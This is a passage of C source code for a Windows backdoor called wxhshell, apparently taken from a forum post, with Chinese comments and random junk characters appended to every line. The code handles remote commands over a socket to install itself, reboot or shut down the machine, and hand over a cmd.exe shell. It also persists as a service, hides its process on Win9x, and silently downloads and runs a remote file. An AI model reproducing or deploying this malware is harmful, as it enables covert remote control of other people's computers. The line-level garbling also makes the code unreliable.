  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7==f\%,  
  } R N@ctRS  
  else { iPrLwheb  
N:9>dpP}O  
    switch(cmd[0]) { #]'rz,E<  
  1 `KN]Nt  
  // 帮助 D0BI5q  
  case '?': { 5y?-fT]X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &hk-1y9QS  
    break; [}fv  dW  
  } n3sUbs;  
  // 安装 ek N' k  
  case 'i': { |`jjHuQ;  
    if(Install()) Zy09L}59P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/*=%~*  
    else oP4GEr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xai4pF-?  
    break; 2W$cFC  
    } TXZv2P9  
  // 卸载 \Vl`YYjZ  
  case 'r': { Jnv@.  
    if(Uninstall()) |c`w'W?C6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >,DbNmi  
    else (L`j0kPN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;m2<eS`o'  
    break; rSYi<ku  
    } b?eu jxqg  
  // 显示 wxhshell 所在路径 _ A 0w[n  
  case 'p': { j;Z?WXWD h  
    char svExeFile[MAX_PATH]; ~gu3g^<0v  
    strcpy(svExeFile,"\n\r"); [g2;N,V#  
      strcat(svExeFile,ExeFile); `ImE% r!  
        send(wsh,svExeFile,strlen(svExeFile),0); 'fL"txW  
    break; 5MSB dO  
    } ce6__f 5?  
  // 重启 C R|lt  
  case 'b': { ,$eK-w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <`0h|m'U  
    if(Boot(REBOOT)) i9=&;_z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $O^v]>h  
    else { ./$cMaDJ  
    closesocket(wsh); %r+vSGt;5  
    ExitThread(0); |$7vI&m  
    } p7H3J?`w1+  
    break; m5Tr-w$QY  
    } "5A&_E }3  
  // 关机 U w4>v:  
  case 'd': { qn,O40/]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f$'2}'.!$  
    if(Boot(SHUTDOWN)) S'HnBn /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ko^\ HSXl  
    else { 46k?b|Q  
    closesocket(wsh); !*`-iQo&  
    ExitThread(0); ,E.' o=Z  
    } ] 7 _`]7p  
    break; M,5"b+mX[~  
    } sZLT<6_B  
  // 获取shell ?,yj")+  
  case 's': { .Udj@{  
    CmdShell(wsh); sm$ (Y.N  
    closesocket(wsh); $fgf Y8  
    ExitThread(0); #);[mW{F  
    break; 1[ ]&(Pa  
  } 0D8K=h&e  
  // 退出 #b7$TV  
  case 'x': { wR{'y)$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wW"z  
    CloseIt(wsh); ,<:!NF9  
    break; A 8 vbQ  
    } 6&bIXy  
  // 离开 !a~`Bs$'jr  
  case 'q': { i%6;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SIKOFs  
    closesocket(wsh); xTGxvGv8  
    WSACleanup(); {3!E4"p  
    exit(1); a5G/[[cwTV  
    break; KFZm`,+69  
        } VxzkQ}o  
  } $v8l0JA *  
  } H\ 1qI7N C  
 KQ[!o!%  
  // 提示信息 =H<0o?8?c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v=95_l  
} MZ+e}|!4,  
  } N0>0z]4;q  
[Ei1~n)o  
  return; DKVT(#@T  
} Ys8SDlMo  
*z'yk*  
// shell模块句柄 }CxvT`/  
int CmdShell(SOCKET sock) mQ}ny(K'  
{ tb?YLxMV  
STARTUPINFO si; tDDy]==E  
ZeroMemory(&si,sizeof(si)); G4 G5PXi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -{ u*qtp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N S#TW  
PROCESS_INFORMATION ProcessInfo; !Oi~:Pp  
char cmdline[]="cmd"; +PK6-c\r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k-*Mzm]kb  
  return 0; yFhB>i  
} e5Mln!.o  
d`d0 N5\  
// 自身启动模式 W9oAjO NE  
int StartFromService(void) 8^B;1`#  
{ ~ 7)A"t  
typedef struct saD-D2oj  
{ pb0E@C/R  
  DWORD ExitStatus; 1|8<H~&  
  DWORD PebBaseAddress; vKoP|z=m  
  DWORD AffinityMask; S-#q~X!yJ  
  DWORD BasePriority; t4K~cK  
  ULONG UniqueProcessId; 'lZ.j&  
  ULONG InheritedFromUniqueProcessId; V\K<$?oUb  
}   PROCESS_BASIC_INFORMATION; T#Z%y!6  
LEECW_:  
PROCNTQSIP NtQueryInformationProcess; $mGvJ*9  
iK{T^vvk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wY"o`o Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ d"wAZzD?  
AOrHU M[I  
  HANDLE             hProcess; 7< 9L?F2  
  PROCESS_BASIC_INFORMATION pbi; &6Il(3-^  
~Ki`Ze"x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H6aM&r9}  
  if(NULL == hInst ) return 0; 6b~28  
<:8,niKtw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6D;^uM2N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oPKXZU(c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -RJE6~>'\  
F^!mI7Z|(2  
  if (!NtQueryInformationProcess) return 0; mKq"3 4F  
M`D$!BJr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YwH./)r=  
  if(!hProcess) return 0; c<+;4z  
%f8Qa"j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @U -$dw'4  
+rWZ|&r%  
  CloseHandle(hProcess); G%# 05jH  
TOLl@p]lU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }jSj+*  
if(hProcess==NULL) return 0; x?D/.vrOY  
bl/,*Wx:4.  
HMODULE hMod; T@^]i&  
char procName[255]; N]5m(@h  
unsigned long cbNeeded; mCKk*5ws5"  
H;WY!X$x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;HOPABWz)  
#ZiT-  
  CloseHandle(hProcess); dPjhq(8 zU  
<@bA?FY  
if(strstr(procName,"services")) return 1; // 以服务启动 Hoz56y  
2k#t .-  
  return 0; // 注册表启动 [FQ\I-GNC  
} !NKmx=I]  
oN(-rWdhZ  
// 主模块 5, b]V)4  
int StartWxhshell(LPSTR lpCmdLine) #G3N(wV3  
{ 6Gn4asoA  
  SOCKET wsl; LZ*R[  
BOOL val=TRUE; f"&Xr!b.h  
  int port=0; /&ygiH{^  
  struct sockaddr_in door; ;mAhY  
y,+[$u7h  
  if(wscfg.ws_autoins) Install(); @LLTB(@wR  
\)m"3yY  
port=atoi(lpCmdLine); GIHpSy`z  
'PdmI<eXQ  
if(port<=0) port=wscfg.ws_port; '~-IV0v9  
h[XGC =%  
  WSADATA data; 6xgv:,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BQ05`nkF  
^&c$[~W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hv)7H)|l~]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sav`%0q?7a  
  door.sin_family = AF_INET; POU}/e!Ua  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e&X>F"z2  
  door.sin_port = htons(port); `{FwTZ=6{  
INMP"1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,=[*Lo>O  
closesocket(wsl); $R{8z-,Q  
return 1; g8pm2o@S  
} L*]E`Xxd9  
>HkhAJhW  
  if(listen(wsl,2) == INVALID_SOCKET) { M:ai<TZ]  
closesocket(wsl); m$y]Lf  
return 1; p {%t q$}.  
} rPq<Xb\  
  Wxhshell(wsl); #w3ru6*W  
  WSACleanup(); VTe.M[:  
S-E++f9D~  
return 0; Na!za'qk[o  
2f:Mm'XdB  
} =g@9>3~{!  
nbvkP  
// 以NT服务方式启动 {`.O|_b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <d$A)S};W  
{ iH)Nk^   
DWORD   status = 0; P6?0r_Y  
  DWORD   specificError = 0xfffffff; !eD+GDgE]  
L{ ^4DznI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (N U0T w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M$CVQ>op:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q2~5"  
  serviceStatus.dwWin32ExitCode     = 0; ! gp}U#Yv  
  serviceStatus.dwServiceSpecificExitCode = 0; K%,$ V,#  
  serviceStatus.dwCheckPoint       = 0; uzorLeu  
  serviceStatus.dwWaitHint       = 0; dhR(_  
9d[qh kPu)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .L;",E  
  if (hServiceStatusHandle==0) return; c>Z*/>~  
P%o44|[][  
status = GetLastError(); c" Y!$'|Q  
  if (status!=NO_ERROR) j|'R$|  
{ {},;-%xE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sr y,@p)  
    serviceStatus.dwCheckPoint       = 0; Q(\ wx  
    serviceStatus.dwWaitHint       = 0; $@87?Ab  
    serviceStatus.dwWin32ExitCode     = status; UxPGv;F  
    serviceStatus.dwServiceSpecificExitCode = specificError; -ID!pTvW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Q&+c.S  
    return; M4<+%EV}  
  } +0#JnqH"  
$U'3MEEw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .S vyj  
  serviceStatus.dwCheckPoint       = 0;  ?f2G?Y  
  serviceStatus.dwWaitHint       = 0; _5\AS+[x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^L O]Z  
} 3YTIH2z 5  
5 ;vC(Go  
// 处理NT服务事件,比如:启动、停止 +Hyk'=.W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e(\Q)re5Q  
{ zHx mA  
switch(fdwControl) 9A;6x$s  
{ wA0eG@xi)  
case SERVICE_CONTROL_STOP: o8D{dS>,PL  
  serviceStatus.dwWin32ExitCode = 0; vw r RZ"2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @6%gIsj<H  
  serviceStatus.dwCheckPoint   = 0; w#{l 4{X|  
  serviceStatus.dwWaitHint     = 0; }GRMZh_8  
  { h;n\*[fDc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jyjQzt >\  
  } ^('cbl  
  return; G `Izf1B`I  
case SERVICE_CONTROL_PAUSE: |9]PtgQv7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?N#[<kd  
  break; 6:RMU  
case SERVICE_CONTROL_CONTINUE: g3a/;wl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .;%q/hP  
  break; i ^S2%qz  
case SERVICE_CONTROL_INTERROGATE: 9qeZb%r&  
  break; PdM*5g4  
}; '(9YB9 i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B "n`|;r5  
} rU*q@y Px  
9UmBm#"  
// 标准应用程序主函数 Y2vj}9jK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e-!?[Ujv*%  
{ "w^Nu6  
& >b+loF  
// 获取操作系统版本 _sm;HH7'*  
OsIsNt=GetOsVer(); 4Bo<4 4-,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C >kmIw'  
o>K &D$J;O  
  // 从命令行安装 /d]~ly @uI  
  if(strpbrk(lpCmdLine,"iI")) Install(); # `58F.  
"8_,tYAH  
  // 下载执行文件 .P%ym~S  
if(wscfg.ws_downexe) { zW)gC9_|m-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E.#6;HHzN  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xv*}1PZH  
} )[ w&C_>]  
\Jf9npz3  
if(!OsIsNt) { x,-S1[#X;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Okoo(dfM  
HideProc(); |<2 *v-a  
StartWxhshell(lpCmdLine); o#dcD?^  
} ~1d!hq?/q  
else GMT or  
  if(StartFromService()) AI R{s7N  
  // 以服务方式启动 _y-B";Vmm  
  StartServiceCtrlDispatcher(DispatchTable); uA^hCh-js  
else wEK%T P4  
  // 普通方式启动 -XLo0  
  StartWxhshell(lpCmdLine); o]p#%B?mZ  
w #<^RKk  
return 0; Rd vn)K  
}
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只看该作者 1 发表于: 2006-10-10
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